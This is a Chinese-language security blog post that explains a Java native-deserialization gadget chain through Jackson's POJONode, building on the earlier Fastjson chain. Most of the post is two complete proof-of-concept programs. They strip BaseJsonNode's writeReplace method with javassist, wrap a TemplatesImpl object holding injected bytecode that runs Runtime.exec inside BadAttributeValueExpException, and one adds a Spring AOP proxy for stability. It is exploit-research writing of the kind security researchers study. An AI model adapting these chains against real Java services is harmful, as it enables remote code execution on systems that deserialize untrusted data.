Jackson

Jackson跟fastjson很相近,所以前言还是从fastjson过渡过来。

前言

主要还是介绍Jackson原生反序列化引用。

这里从Fastjson重新开始说起:

在Fastjson中,JSONArrayJSONObject都实现了Serializable接口,这两个类的toString方法都能触发toJSONString的调用,要把一个JSON对象转字符串,必然涉及到对象属性的获取,会调用到对象的getter方法。

从1.2.49开始,JSONArrayJSONObject都实现了自己的readObject方法,自定义了一个SecureObjectInputStream并重写了resolveClass方法,里面调用了checkAutoType来对反序列化的类进行黑白名单检查。需要通过原生反序列化的引用机制来绕过。

利用链:

1
2
3
toString(e.g. BadAttributeValueExpException#readObject) 
-> toJSONString
-> evil getter(e.g. TemplatesImpl#getOutputProperties)

Jackson 浅审

Jackson的使用和Fastjson类似

FastJson Jackson
JSONObject ObjectNode
JSONArray ArrayNode
JSON.parseObject静态调用 ObjectMapper.readTree对象调用

继承关系:POJONode->ValueNode->BaseJsonNode -> JsonNode

利用点在BaseJsonNode#toString,跟到后面 ,对于自定义的类使用BeanSerializer进行反序列化,调用serializeFields对属性进行还原时,BeanPropertyWriter调用getter

还是用TemplatesImpl#getOutputProperties去打,但是这里直接反序列化会出现问题

Failed to JDK serialize POJONode value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl[“outputProperties”])

报错StackTrace:

image-20240803150351459

invokeWriteReplace判断writeReplaceMethod是否存在,存在则调用:

image-20240803150432510

那么我们只需要使用javassist把这个类的writeReplaceMethod删掉即可。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
// 去除BaseJsonNode的writeReplace方法
CtClass ctClass =ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);

POJONode pojo = new POJONode(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", pojo);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bd);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
}

稳定版本:从JSON1链中学习处理JACKSON链的不稳定性 - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class JSON {
public static void main(String[] args) throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(makeTemplatesImplAopProxy("calc"));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);

serialize(val);
}

public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}

public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(makeTemplatesImpl(cmd));
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

public static Object makeTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "test");
return templates;
}
}

对于Jackson的getter利用,也可以看:

【Web】浅聊Jackson序列化getter的利用——POJONode-CSDN博客

这里Z3r4y师傅介绍了Jackson的getter利用Template和SignedObject二次反序列化的内容。

参考:

Jackson的原生反序列化利用 | Java (gitbook.io)


Jackson
https://eddiemurphy89.github.io/2024/08/03/Jackson/
作者
EddieMurphy
发布于
2024年8月3日
许可协议